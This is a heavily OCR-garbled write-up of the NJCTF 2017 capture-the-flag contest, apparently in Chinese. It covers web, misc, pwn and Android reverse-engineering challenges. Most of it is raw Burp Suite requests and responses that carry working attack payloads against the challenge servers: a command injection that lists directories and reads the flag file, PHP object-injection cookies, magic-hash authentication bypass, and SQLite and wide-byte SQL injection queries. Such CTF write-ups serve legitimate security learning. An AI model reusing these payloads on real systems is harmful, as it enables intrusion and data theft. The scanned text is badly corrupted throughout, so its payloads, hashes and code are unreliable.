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Request

Accept:

Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
FOST /regist.php HITF/1.1 i <div> i
Host: 218.2.197.235:23751 r Zinput id="username” name="username” type="text” r
Content-Length: 125 placeholder="usernane” class="input” autofocus>
Cache—Control: maz—age=0 <input id="password” name="password” type="password”
Origin: http://218.2.197. 235:23731 class="input” placeholder="password”>
Upgrade-Insecure-Recuests: 1 <div>
User—Agent: Mozilla/5.0 (Windows NT 10.0: Winf4; x64) AppleWebEit/537.36 <input type="submit” name="submit” value="SIGN UP”
(KHTHL, like Gecko) Chrome/56.0.2924.87 Safari/337. 36 class="left">
Content-Type: application/z—www—forn-urlencoded <fdiv>
<fdive
text/htnl, application/xhtnl+xnl, application/xnl; g=0. 9, inage/webp, /*; q=0. 8 <fdive
Referer: http://218.2.197. 235:23731 /regist. php <div id="labels">
Accept-Encoding: gzip, deflate <label foer="register” Registered? <a k.

Accept-Language: zh—CHN, zh;q=0. 8
Comnection: close

usernane=acnin
l&password=111111gA&ksubni t=SIGN+UP

href="login. php” » span>Legin-—~</span></a></lahel >
<prfor vour security, password should have at least 3 of
(numbers, upper—case, lower—case, special characters) </p>
<fdive
</forn>
<Jdive

<div id="hint">Welcome to NJCTF2017!</div>

<seriptralert(’ register
success!');</seript><zcriptrlecation=". /legin. php’ </script?

Mz, BHEME A KR, SRR JETEER A 1 @ g BuE s, XA TR 54T 12 Hiadmin )3 RS 08 B T S

we search the database, and you are admin .

welcome, admin. your flag is NJCTF{4R3 Y0Ou 7H3 Re41 aDM1N?}

iR 15flag

Get Flag
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render }
FOST /hehe HTTF/1.1 4 HTTP/1.1 200 OK [

“|Host: 218.2,197.235:23723
JContent—Length: 18
|Cache—Control: nax-age=0
\dOrigin: http://218. 2.197. 235:23725
Upgrade—Insecure—Requests: 1
User—hgent: Mozilla/53.0 (Windows NT 10.0; Winf4; x64) AppleWebKit/537.36
(KEHTML, like Gecko) Chrome/56.0.2924. 87 Safari/337. 36
Content—-Type: application/z—www—forn—urlencoded
Accept:
text/htnl, application/xhtnl+xnl, application/xnl; q=0.9, inage/webp, */+;q=0. 8
Referer: http://218.2.197. 235:23725/
Accept—FEncoding: gzip, deflate
Accept—Language: zhCN, zh;c=0.8
Cormection: close

flag=1. jpegksubmit=
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Server: nginx/1.10.2

Date: Fri, 24 Mar 2017 01:34:58 GMT
Content-Type: text/htnl; charset=utf-8
Content-Length: 17067

Comection: close

<html>

<head>

</head>

<body>

<img

src="data:inage/png;based4, /93/44405kZJRgABAQEASABI ALD/ 2wBDAAYEBOYFBAYGBOYHEw YT
ChAKCek TChQODwwQF xQYVGBcUFhYaHSUfGhs JHBYWICwe ¥ TnKSopGREtHCOMCUCKS j/ 2wBDAQCHEW
oIChMEChMoGhYaKCgoKCgoKCgoKlgoKCgoKCegoKlgoKC goKCgokCgoklgoKCgoKCeoKlgoklgoKigo
ECj/wAARCADMAQ4DASTAMREELxEE/S0AHOAEAATDAQEEACAAAAAAALAALAVHEAUTAwIECE /EAROQAL
EDBAAEAgcDCAUDCgcAAARCAWGABQYRExThHRNBFC JRYXGEkQgyoRUTI0TSYnKSsTNDgsHRF 1 Sy JCUO
U1¥iwtLh8CY1NOR jo5P/xAAbAQEAAWEBAQEALALALALAAAAAAQTDEAUGE/ /EACSRAATCAQHCEBONDEA
MAAAAAAAABAKEDE] ExBEEFEyJRYT] skRSEOUJ SofAGs FH/2g AMAWEAAREDEQA /AOqalipQC1Kwr jdbf
beXBoTo0En+74zoRvA0Bn0rHi z¥s tIVEks vpPn2sK/pVRQCIKUAR Sy 9900 inf dbaT TVqCRHIAelKr
rI0Ldis9210wx0nswuX02ZE ZL JHEn T c8hOFWIF fh1RnplCw tpl IWha TEEbBQEO+CaPS1KV JApS1AKD
PACLKUAPS]AKUpQCIKUAPSLAKUpQCLKUARS L AKUpQC B4 jw T db+I tOueedl ch9VpLDTcJ60gU0l 63z
gpBGiTrokvehAUCCAQf T1WIdREAEMBC2cGras/ zJktxx2Uez fpblcpPwcBH41MIGC5S00Hc040vTGE
91EtCTCPSkn/ACqyrzh20E t JF1skCTvuVsp39e90i dw T xFhpf tP30s 8 juFw ZKka +VU O di 20 xv SullV
l:2qRBsCONT En0d0sukHuC t danHD/Lo+V 2RU1n09EkNugVkx¥hphLqe6TUTadc5zaVpFhd jz1sg90Ti
wHENTThTiasUthpuTOcuF znvF SpopadnxHF dyAOwoY 3700l MefeVsraTzi fARSE JeuF gV iL0TGhu
o/ QyCropTSAT032+1 dASSZG +9ukS5r 6T 8ZpBU+1 Z0EgDvENOF 3uFbHBUF 1 ¥PAhecdROechuxball44]

[Target T Proxy T Spider I Scanner I Intruder TRepeater T Sequencer I Decoder I Comparer I Extender I Project options I User options IAIens ]

1= 2=
Go Cancel < v > | Target: http://218.2.197.235:23725 ; E:r'
Request Response

Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLTRender]

POST /hehe HTTP/1.1
:lHOSt: 218.2.197. 235:23725
_JCcntent—Length: 17
|Cache—Control : max—age=0
odOrigin: http://218.2.197. 235:23725
Upgrade-Tnsecure—Requests: 1
User—Agent: Mozilla/S.0 (Windows NT 10.0; Winf4; x64) AppleWebKit/S537. 36
(KHTHL, like Gecko) Chrome/S8.0.2924.87 Safari/537.36
Content-Type: application/z—www—forn—urlencoded
Accept:
text/htnl, application/xhtnl+xnl, applicatien/=nl g=0.9, inage/webp, */*;q=0. 8
Referer: http://218.2.197.235:23725/
Accept-Encoding: gzip, deflate
Acecept-Language: zh-CH, zh;q=0.8
Comnection: close

flag=aaaa&submit=

HTTF/1.1 200 OK

Server: nginx/1.10.2

Date: Fri, 24 Mar 2017 01:35:27 GHT
Content-Type: text/htunl; charset=utf-8
Content-Length: 151

Commection: close

<htnl>

<head>

</head>

<body>

<ing

src="data:inage/png, basef4, Y2F00iBpbWFnZiNviTFhiTogTnBgc3V jaCBnalx1 1G9y GRpenY
JdG9ved

</body>
</htnl>
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HEFRE NG ED:

LA F R 60)

WZ2F00 i BpbWFEnZXMvYWFhYTogTm8gc3V jaCBmaWx | 1G9y | GRpemV jdGIyel==

1

#HE:

cat: images/aaaa:
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No such file or directory

wme, B EHS, RJE cat BT
AILAGEIE, B %26 MBI — BT 1s A AR

QpsaWIKbG | iNjOKbWVkaWEKbWS0Cm9wdApwen? jCndvb3BKenVuCnNiaW4Ke3J2CnNScwpObXAKdXNyCnZheg:

B Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry Lau - O

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | Intruder Repeae(TSequencev Decoder CDmpavey[Extendeyhmjecmmmm[usemmmnﬁ Aletts

Go Cancel < |v >

Request

Raw | Params | Headers | Hex

Target: hitp://218.2.197.235:23725 E
Response

Raw | Headers | Hex | HTML | Render

POST /hehe HTTP/1.1

L3

Ell

|Host: 218.2.197.235:23725

HBR:

|Content-Length: 25

lcat: images/: Is a directory
191 ZM2aTEma6750dJp% loJm2%H4 InhS_thi5_flag
bin

boot

dev

ete

home

Iib

1ib64

edia

nt.

opt

proc

root

run

jsbin

KIBLH bR

Cache-Control : nax-age=0

Origin: http://218.2.197.235:23725
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Findows NT 10.0; Ving4; x64
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/36.0.2924,
Safari/537. 36

Content-Type: application/x—www-forn—urlencoded

Accept:

text/htnl, application/xhtnl+xnl, application/xnl; g=0. 9, inags/vebp
JHk Q=08

Referer: http://218.2.197.235:23725/

Accept-Encoding: gzip, deflate

Accept-Language: zh-Cll, zh;q=0.8

Cormection: close

flag=26ls .. /.. /ksubnit=

9iZM2qTEMq67S0dJp%!0Jm2%M4InhS_thi5_flag

HTTP/1.1 200 OK

Server: nginx/1.10.2

Date: Fri, 24 Nar 2017 01:42:54 GHT
Content-Type: text/html; charset=utf-3
Content-Length: 299

Cornection: close

<htnl>

<head>

</head>

<body>

<img

src="data:inage/png;base64, ¥2F 001 BpbiFnZXiv0iBJcyBhICRpenV jdC 9yeQo5aVpliiinF URTL N jdTT 2RKCCUhbO
M iVINCFuaFN £ dChpllV9nbGFnCn Jpbepi b290CuR ] dgpl doMKaG 912Qpsa¥IKbG ] il jQKbWVkaVEKb 50Cn9wdApy cnd
nJvb3QKenVuCnii aW 4Ke 3] 2Cnll5ewp ObX AK dXNyCnZheg=="/ "

</body>
</htal>



catBiry

211cDEzX1B5dGgwb I 9DMGR | X0 | ua jN jdGkwb | hNzdhY2t9Y2FO0 i BpbWFnZXMvO i BJeyBh | GRpemV j

| AIgEL | ok | SIS | OUANE! | WIUUST [\INBSEISI | OEUUENCH! | UBGUUS! | LUMIDAIE | CXUSIUS | MIURGLUPUUITS | USET UpUUIS | A
1.2
Go Ca > Target: http:/1218.2.1
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML ( Render
POST /hehe HTTP/1.1 . HTTP/1.1 200 OK
Host: 218.2.197.235:23725 [ Sserver: nginx/1.10.2
Centent-Length: 66 Date: Fri, 24 Mar 2017 01:47:03 GMT
Cache—Control: max-ag Content-Type: text/htnl; charset=utf-g
Origin: http://218.2.1 35:23725 Content-Length: 187

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Win6d; x64)

[l

I

AppleWebKit/537. 36 (KHTHL, like Gecko) Chrome/56.0.2924. 87

HR:

Safari/537. 36

NJCTF {Simp13_PythOn_COde_Inj3ctiOn_a77ack}cat: images/: Is a directory

Text wall

e AR A Sk R

entent-Type: application/z-www-forn-urlencoded

Accept:

text/htnl, application/xhtnl+xnl, application/sml; g=0. 9, inage/webp
L H4a=0. 8

Referer: http://218.2.197. 235:23725/

Aecept-Encoding: gzip, deflate

Accept-Language: zh-Cl, zh;q=0.8

Comnection: close

flag=t26cat
/.. /9L TH2GTER 8 TSOATph ! o] n2%M4! nhS_thi5_flagtsubni t=

Connection: close

<htnl>

<inmg
“data:inage/png;baset4, TkpDVEZTU2] teDEzK1B5d0ewh 1 SDUGRIX0 ua 1 jdekwb] Shitzdh
nZXMv0iBJcyBhICRpeny jdogyen=="/>
</body>
</htnl>
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@ Load URL |43fa24207beeafe97d1793(4ba?9b85d90dcda565:2{i:0,5:182:'16d8(3c46653389932859dd7525-b12f.359df777.3
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*} Burp Intruder Repeater Window Help

Target | Prowy | Spider | Scanner | Intruder Repea«evTswencerIDecoderTComparerIEmnaevTPm,ecmmionsIusempuons Alerts

":5:9:"index.php";}}%i:1;5:9:

e 1|25 |30 |4 x|

Go <|v >|v Follow redirection
Request
Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

Target hup:1218.2.197.235:23721 | #| | 2|

POST / HTTP/1.1

Host: 218. 2,197, 235:23721

Content-Length: 19

Cache-Control: max-age=0

Origin: http://218.2.197.235:2372

Upgrade-Insecure-Requests: 1

User-Agent: Nozilla/5.0 (Vindows NT 10.0; Win64; x84) AppleWebKit/537.36
(KHTML, like Gecke) Chrome/56.0.2924.87 Safari/537.36

Content-Type: application/x—www—form—urlencoded

Aecept:

text/htnl, application/xhtnl+xnl, application/xnl; q=0. 9, inage/webp, */%;q=0. 8
Referer: http://218.2.197. 235:23721/

Accept-Fncoding: gzip, deflate

Aecept-Language: zh-CN, zh;q=0. 8

Cockie:

lists=0cecd2ffbblT8545a887ecf0b3T9a1b3dad4d41bTa%3A1%3A%TBi%340%3Bs%3A182534%2:

dBc3c46653289932 253A%2522Fi1elisth2522425341%

TBS%25346%2 522filelisth2522%25341%2
S%25346%2 . phph:
TD%22%3E% 7D
Commection: close
hiehiehie=hiehiehie

4 HTTP/L.1 302 Found +
I Server: meins/1.10.2 r
Date: Fri, 24 Mar 2017 07:23:32 GHT
Content-Type: text/htnl; charset=UTF-§
Content-Length: 0
Comnection: close
i-Povered-By: PHP/5.6.30
Set-Cookie
1ists=45fa24207beeafedrdl Te3c4baToba5d90dodasoak 3A2%54% B %3404 3Bs%541 826344221
8d8c3c46853e89932859ddTazebl 2fa59df 77 Ta0%25348%2534% 2522116115 th2522% 2534142
3A%25TBS 253464 2534425225 ource%2522% 253804 2534 8% 253442522 F1 1 e11 5 1%25224 25341%2
53A4257Bs%25346%2534% 25225 our ce% 25224 253Bs %2534 94 2534% 25221 ndex. php%2522%2538%
257D%257D%22%3B1%341%3Bs%345%34%22hi ehi ehi e%22%3B%7D
Location: / ]
]
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Object Injection Ju[H, FIH&R/FHINITEIH1hi&cookie, HiktHF1IERY
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153 index. php N 2%



highlight file(

[
= 1
substr( > 0, );
substr( ) );
){

= unserialize( );

= [

[l = H

= serialize(

= shal( );
setcookie( ,
header(

)

Please Get Flag!!

flag SCF LA, FIRER KIS I fflag

).highlight file(

->source,




{PHP_unS5erialization_a77ack_i5 very Interes71ng}

B 5N w0 — 3 2
https:/losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/

Wallet

T HUR R RS, DO HERS, PR EG AR, F waw. zip SRENER, HET4,

I njctf2e17 15 BIRRY



https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/

FE— KT shal((string)shsh) == md5((string)$auth) MIF5RAILEL, BHRMITE] ee FFLMIRIT]
(S EIR

Welcome to the admin panel!

Wallet ID: Submit Query

B Burp Suite Professional v1.7.11 - Temporary Project - licensed to Larry Lau
Burp Intruder Repeater Window Help

Target | Proxy | Spider I Scanner X Intruder TRepeate! I Sequencer T Decoder I Comparer I Extender I Project options I User options | Alerts

12 (2= (3= |4 |56 x |6af..

Go Cancel <|v > | Target: http://218,

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
ggzt/ag?;nqp?g,}lz?;f},siqs : Welcome to the admin panel!
Upgrade-Insecure-Requests: 1
User—-Agent: Mozilla/5.0 (Vindows NT 10.0; Win64; x64) AppleWebKit/537.36 Waltet 1D | 597 Submit Query
(EHTHL, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept:
text/htnl, application/zhtnl+xnl, application/xml;g=0. 9, image/webp, */*; ¢=0. §
Referer: http://218.2.197.255:23723/index. php?page=index
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh—Cll, zh; g=0. 8
Cockie:
1lists=0ccd2ffbhl78545a887ecf0b3T9a1h3dag4d4l by a%341%3A% 7B G340%3Es %341 6243442216
d8c3c46653289932859ddTaebl2fa59dE 7T Ta0% 253464 2554%2522 1 1l 15 1H252 2425341 %2534
%257Bs% 25346825344 25205 ource% 2522%253B0% 253485 2534425221 1 e1 1 5 1425226 25341% 2534
%257Bs%25346%2534% 25225 ourcet 2522%253B5% 25349% 2534% 25221 ndex. phph2522%2538%257D
%257D%22%3B4%TD; auth=QNKCDZO; hsh=aaroZntk
Comnection: close
IR R — TR B A Y ) sqlited N
| naw| 1 @iame | nsausis | ea | _Jran | nmausis | i |
WCET /aduin. php?query=1111+union+select+l HITP/1.1 [ HITP/1.1 200 OK
Host: 218.2.197.235:2372 Server: nginx/1.10.2
8 lperade-Insecure—Requests: 1 Date: Fri, 24 Mar 2017 12:19:25 GMT
W User—Agent: Mozilla/5.0 (Windows NT 10.0; ¥in64; x64) AppleWebKit/537. 36 Content-Type: text/html; charset=UTF-8
&) (KHTML, like Gecko) Chrome/56.0.2924. 87 Safari/537.36 Content-Length: 18
M Lccept: Connection: close
) text/htul, application/xhtnl+xnl, application/xnl; q=0. 9, inage/webp, */*; ¢=0. 8 ¥-Powered-By: PHP/5. 6. 30
LReferer: http://218.2.197. 235:23723/index. phpPpage=index
f Lcocept—Encoding: gzip, deflate, sdch Wallet contains: 1
™ Lccept-Language: zh—ClN, zh;g=0.8
M Cookie: auth=0NECDIO; hsh=aaroZmOk
B Cormnection: close
EEIbE
ET /adwin php?querv=1111+union+SELECT+tbl_nane+FROM+sqlite_master HITP/1.1 : HTTP/1.1 200 QK
ost: 218.2.197. 235:23723 Server: nginx/1.10.2
perade-Insecure—Requests: 1 Date: Fri, 24 Mar 2017 12:37:31 GNT
ser—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64) AppleWebKit/3537.36 Content-Type: text/html; charset=UTF-8
KHTNL, like Gecko) Chrome/36.0.2924. 87 Safari/537.36 Content-Length: 21
ccept: Connection: close
ext/htnl, application/zhtnl+xnl, application/=nl; ¢=0. 9, inage/webp, */*; ¢=0. 8 ¥-Powered-By: PHP/S. 6. 30
eferer: http://218.2.197. 235:23723/index. php?page=index
ccept—Encoding: gzip, deflate, sdch Wallet contains: flag
ccept—Language: zh-CN, zh;q=0.8
oolkie: auth=QNECDZIO; hsh=aarcZmOk
omnection: close




5%,

GET & HTITP/1.1 200 QK

Jaduin, php?query=1111l+uniontselect+sgl+from+sqlite_master+vhere+thl_name="flag” r Server: nginx/l1.10.2

+and+type="table” HTTP/1.1 Date: Fri, 24 Mar 2017 12:36:02 GNT

Host: 218.2.197.233:23723 Content-Type: text/htnl; charset=UTF-8
Upgrade-Insecure-Requests: 1 Content-Length: 113

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleVebKit/537.36 Comection: close

(KHTHL, like Gecko) Chrome/56.0.2924. 87 Safari/537.36 ¥-Powered-By: PHP/5. 6. 30

Lecept: Vary: Accept—-Encoding

text/htnl, application/xhtnl+xnl, application/znl: q=0.9, image/webp, */+; g=0. 8

Referer: http://218.2.197. 235:23723/index. php?page=index Wallet contains: CREATE TAELE flag (id varchar (255) not null, amount
Acecept-Encoding: gzip, deflate, sdech int{30) not null default 0, primary kev(id))
Lecept-Language: zh-CN, zh; g=0.8

Cockie: auth=0NECDIO; hsh=aaroZmOk

Commectien: close

13 2flag

I | I |

JET /adwin, php?query=1111+union+SELECT+i d+FRON+flag HITP/1.1 : HITP/1.1 200 OK

Iost: 218.2.197.235:23723

Ipgrade-Insecure—Requests: 1

Iser-Agent: Nozilla/5.0 (Windows NT 10.0; Vin64; x64) AppleWebEit/537.36
KHTHML, like Gecko) Chrome/58.0.2924. 87 Safari/337. 36

Lccept:

sext/html, application/xhtnl+xnl, application/zml;q=0.9, inage/webp, */*; q=0. 8
teferer: http://218.2.197.235:23723/index. php?page=index

\ccept—-Encoding: gzip, deflate, sdch

\ccept-Language: zh-CN, zh;q=0.8

tookie: auth=QNECDZIO; hsh=aaroImOk

lormection: close

. #hFesqliteffiiE N Ji ik

group_concat(tbl _name)
sqlite_master
group_concat (XXX)

tbl_name=
XX- - FE A

Server: nginx/1.10.2

Date: Fri, 24 Mar 2017 12:45:14 GNT
Content-Type: text/htnl; charset=UTF-8&
Content-Length: 70

Cormection: close

X-Powered-By: PHF/5.6.30

Vary: Accept—Encoding

Wallet contains: NJCTF {Th3_mlxtuZe_OF_M4gic_HaSh_@nd_5Qlite_InJec7ion}

sqlite_master-- B

type=

Come On

XAE—EENG, BEFERA AE T or, and , union , <>
I HIARE # 75 0% %23
FRAE N IR 7R A2 B8 N GINR—

http://218.2.197.235:23733/index.php?key=1%df%27||1=1%23 http://218.2.197.235:23733/index.php?key=1%df%27|[1=2%23

iR T B

1%df || exists(select(flag)from(flag))%23

ERIA


http://218.2.197.235:23733/index.php?key=1%25df%2527%7C%20rel=
http://218.2.197.235:23733/index.php?key=1%25df%2527%7C%20rel=
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MISC
check QQ
HEZEQQHEE 4R
knock

FIIF R KRBT PR,

.

By

MNMTIA R T SRS, HBCA R0 LR BETRFE, K

Sepe

o5

A



FRAEF WG LR, REHHEquipquipnt BERE, RKIEE R

A S5 ARG B, R LORUS R ELR, RIS, s pope — T e 214523

ineealcstr laachefg

—

1

HX:
FEE & (o FFERR)
23689

F14#: ieactlahfnelsraseg
F24: iecraenaslefeltahg
F3#: icansestheresalflag
F43: irnleasaaslhcesfig

E— Wl L

fin ENJCTFQH A2 i th
easy_crypto

XYL TR, ERIRIRE SR T, el vkeykis 17, &7 — FAKISCHE, KIL
plain.txt 5 cipher.txt FTH—FE, X AELREHRKRKkeyEIM, 2R)5H KL FkeyHEX flag. txt fift



flag:NJCTF{New_You90t_ ThlsC4s3}

PWN

VSVS

RIS N IER T, R, RILE22

ncit %,

~# nc 21
VSVS: Very Secure VPN Server
Please input access code:

echo <input>

:~# nc 218 2. 197. 235 23749




BIEAN
RIIANE St A HB 2 B, 22T K

T 1T 1T 11T 111111111 11111 111111111111 1111 1111111111111111111111111
B B T 1 e T T e e T e T T T e P P e e e B 1 e P B
T T 1 e T T e e e T T e e T e T e e e e T e e e e B
111111111111 11 11111111 1T 11 1111111111 11111 1111111111 1111111111111111111117111111 11
t1111111111111111111111111111111111111
‘Hls

RILHEH N1500 M B A 3R Bl C it &, HiR Bl T H416KE, BAIKEA1024405 TR

mand: echo <input=>




BA LR, 2T

1
it
1ib64

3 2flag e, EHGRBULBLA [RE, JoikislT

g mand: echo <input=
input:
1[
What' s your name?111111111111111111111111111111111171111111111111171111111111111117
TTIT1TTTI T T T1T I 1T LT 1111111111111 111111111111 111 1 1111111111111110171
TTI1TI1111111111 11111 111111111111111111111111111111111111111111111111111111111111
™MIT11T1T1T11 11111 1111111111111 1111111111111 11111111111 111118 11111111111111111111.11
TTITITT1T11 111111111111 1111111111111 11111111 11117111111111181111111111111111111.1.1
111111111111 111 1111111111111 1111111111111 11111111111 11111 11111111111111111 1301
F1111111111111111111111111111111111111171111111117111111111111111111111111111111111
T 1111T1111 11 11111111111111111111111111 111111111 1111111111111111111111111111
TTIT11T1T1T11 111111111 11111111111 1111111111111 111111111111 111191 11111111111111 11111
TTIT11T1T1T11 1111111111 111111111 1111111117111 11 111111111111111111 1111110111111 111 1
TTI1TI11T11111111 1111111111111 1111111111111111111111111111111111111111111111111 11
T 1T 1111 1111111111111 1111111111111 1111111111111111111111111111111111111

t11111111111111111111111111111111111111111111111111111111111111111111111111111111
lcat flag




IR R linux & 7]

echo <input=

- name? 111111111111 1111111111111111111111111 11
1111111111111 1111111111111 1111111111111 1111111111111 111111111111111111
T1111111111111111111111 11 111111111111111111111111111111111811111111111111111 13111
B e B e e B e e e e e e e B B B
T11111111111111111111111111111111111117111111111111111111171111111111111111111.1.41
111111111111111111111111111111111111117111111111111111111178111111111111111 111311
ERT 1111111111111 1111111111111 111111 11111111111111111111111111111111111111111111
T111111111111111111111111 11113111 11211 11111111111111111111 1811 1111111111111 1
1T111111111111111111111111111111111111111111111111111111111 11 11111111111111111 11
BRI MTITIMMITITIMIMITTImmImITmITITIrITITTITIIITI1111111117

111111111111 11111111111111111111111
T11111111111111111111111111111111111 1
1 =
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1. Biowdtapk, MRS, (H2, 22ER R IANdroid6. 0 A 1) FHLER K SDKIAS AN i Joiki 2¢2%,  F %k T Android7.01f]
(LR
apk 71 :

easycrack

Get start

nput the key ...




FEHATRNIS, _EJ7 2 8h S BoRIREs

easycrack

Status: Try again.

abcdeﬂ




[F A LA EDDMS, A H &K

|Search for messages. Accepts Java regexes. Prefix with pid:, app:, tag: or text: to limit scope. | |verbose . | H
L.. Time PID TID Application Tag Text 2
E 03-12 07:20:30.035 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF15
E 03-12 07:20:30.62¢ 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF1577
E 03-12 07:20:332.885 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF1577FF
E 03-12 07:20:34.468 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF15377FFFF
E 03-12 07:20:35.836 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF1977FF
E 03-12 07:21:57.341 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF1577
E 03-12 07:21:57.541 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF19
E 03-12 07:21:57.€72 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF
E 03-12 07:21:58.220 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF5D
E 03-12 07:21:58.407 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF5D32
E 03-12 07:21:58.612 1758 1758 com.njctf.mobile... NJCTF-easycrack failed FFFFFF5D32FF
W

E=sn il
2. AndroidKillerl\ /2 JEB 52 4 1% :

' B ‘ﬁ 0afb1023

‘ @ | ) MainActivity.smali |_] AndroidManifestxml

B1ess Dirsems @ 1res

O|E|w G 8| X ®| 0
& | njatf
- | mobile
8- easycrack
-4} BuildConfig.smali
/] MainActivity$CheckTe;
) MainActivity.smali
A RSanim.smali
/| RSattr.smali
) R$bool.smali
| R$color.smali
-/ R$dimen.smali
/A R$drawable.smali
A R$id.smali
. A RSinteaer.smali |

aln|

LT T EA S

1 <?xml version="1.0" encoding="utf-g&" standalone="no"?>
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"™ package="c

3 <application android:allowBackup="true" android:icon="€mipmap/ic_launcher"
4 <activity android:name="com.njctf.mobile.easycrack.Mainhctivity">
5 <intent-filter>
[ <action android:name="android.intent.action.MAIN"/>
7 <category android:name="android.intent.category.LAUNCHER"/>
8 </intent-filter>
3 </activity>

10 </application>

11 </manifest>

1=

< >
1 Fl:1 A
anl




Certificate [)l‘qssemblj..r [Decompiled)avai@ Strings ]Constants ]Notes

package com.njctf.mobile.easycrack;

import android.os.Bundle;

import android.support.v7.app.AppCompatActivity;
import android.text.Editable;

import android.text.TextWatcher;

public class MainActivity extends AppCompatBActivity {
class CheckText implements TextWatcher {
CheckText (MainActivity this$o) {
MainActivity.this = this$0;
super () ;

publiec woid afterTextChanged (Editable s5) {
MainActivity.this.findViewById (2131427416) .setText ("Status: " + MainActivity.this.parseText(
s.toString()));

public veoid beforeTextChanged (CharsSequence s, int start, int count, int after) {

¥

public veoid onTextChanged (CharSeguence s, int start, int before, int count) {

}

static {
System.loadLibrary ("native-1ib") ;

public MainActivity () {
super () ;

FIEE A A, JavafUidEA K
(B A 1 40 ) R LA so R
Jesrrdavaftiig:






SRS

H

class CheckText implements TextWatcher {
CheckText (MainActivity this$0) {
MainActivity.this = this$o;
super () ;

}

public void afterTextChanged (Editable s5) {
MainActivity.this.findvViewById (2131427416) .setText ("Status: " + MainActivity.this.parseText (
s.toString ()));

¥

public wvoid kbeforeTextChanged (CharSequence s, int start, int count, int after) {
¥

publie woid onTextChanged (CharSequence s, int start, int before, int count) {

¥

X2 TextWatch, W SCAME R AR IFREATIRE BoR, 7T ELE 21508 B A0S -

X SCACHE FRD 4 B R £

F=Native, A5 Hrso

%

B EER, Wl 7 — i

public String messageMe () {

mi .
r

string[] vl = this.gethApplicationContext () .getPackageName () .split ("\\.");
char[] ve = vl[vl.length — 1l].toCharArrav();
int v7 = v6.length;

0; vs < v7; ++v5) {
vd "= wve[v5];
v3 += ((char)vd);

H
0
K
<
[¥y]

I

return v3;



IR EHNDVSEES RPN
BRSOy JavafUis LA 21 45 R -

package gogogo;
o impeort java.io.*;

public class Test({
* public static veoid main(String args[]){
String str = "com.njctf.mobile.easycrack”;
String v3 = "";
int v4 = 51;
String[] vl = str.split(™\\.");
char[] vé = vl[vl.length - 1].toCharRrray():;
int v7 = wé.length;
int v5;
foxr(vs = 0; v5 < vi; ++v3) {
vd ~= wve[vi];
w3 += ((char)vd);
}
System.out.println( v3.toString() -

Problems @ Javadoc [E Declaration B Conscle 2

<terminated> Test [Java Application] C:\Program Files\)
ViD=",M.E

T VID=",M.E

Je T R I 2 2

1. 43Hrso s
SO IDA S g Bk (KI5, K IAIET G so A e g i3 HH (K el B = il te s ok,

armeabi

RGm R, AT R R L parseText , AN LA soR B H R, HEEHEA

[Fl Functions window o & x ID4 View-4 [0 3 Pseudocede—4 @ @ Hex View-1 [J [A Structures [ Ea Enums

1
2
3

int _ fastcall Java_com _njctf_mobile_easycrack_MainActivity_parseText{int a1, int a2, int a3)
{

Function name Seqg
[7] Java_com_njctf mobile easycrack MainActivity parseText .text

int w3; S/ ST10_u@d



(B IDs View-4 [ [E Pseudocode—i [O] Hex View-1 [ Structures [ [E] Enums [ Imports [

3% w3 = a3i;

36| wvh = a2;

37| ws = al;

38 w22 = ail;

39| w33 = _stack_chk_guard;

48 w6 = {({int {*){void))(=a1)->FindClass)();

u1 u? = ({int (_ fastcall =){JHIEnv =, int, const char =, const char =)}){=uv5)->GetMethodID)(
u2 us,

43 uh,

Ly "messagele™,

113 “{JLjavaslang/String;");

46| w8 = j_j_j_ ZN7_JHIEnv16CallObjectHethodEP8_jobjectP18_jmethodIDz{v5, uvh, v7);

LFl w2 = B;

48| s = {char =){{int {__ fastcall =){JHIEnv =, int, _DWORD)})I(*u5)->GetStringUTFChars){vs, ve, B8);
49 w23 = (const char =){{int {__ fastcall =){JHIEnv =, int, DWORD)}){*u5)->GetStringUTFChars){vs, v3, @);
58] w9 = j_j_strlen{uv23);

51 w18 = j_j _strlen{s);

52| w2y = (unsigned __ int8 =*)j_j _malloc{u9);

53| if ( w9 )

5y

1 do

1 {

57 if ( vig )

1 {

Lo il = B3

68 do

61 {

62 #(&u2a[u26] + vid1) = s[uid] ™ ={&u23[uv26] + vil);
63 ui2 = v2hd + vid++ + 1;

o4 ¥

i) while § vi1 € vi0 && vi2 € v? );

66 ¥

67 u2h += uiB;

68 ¥

69 while { v26 € vwd );

7o) 3}

71| j_j_ aeabi memclri{&uiZ};

72| w28 = 1835097929;

73 w29 = 1701344351 ;

7| wvib = 2836689759;

5l wid = B3

Fo| vi3d = v3;

77 vih = j_j strlen{{const char =)&u28});

78 J_ 3 3 24%initPhS_m{{unsigned  int8 =)&u32, (unsigned  int8® =)&UZE, ull};

ST R I EA LR R
IR A AT
e str1
ufh = {({int (*){void)){*a1)->FindClass)();
u? = ({int (_ fastcall =)({JHIEnuv =, int, const char =, const char =)}{=uv5)->GetMethodID)(
us,
v,
"messageklie™,
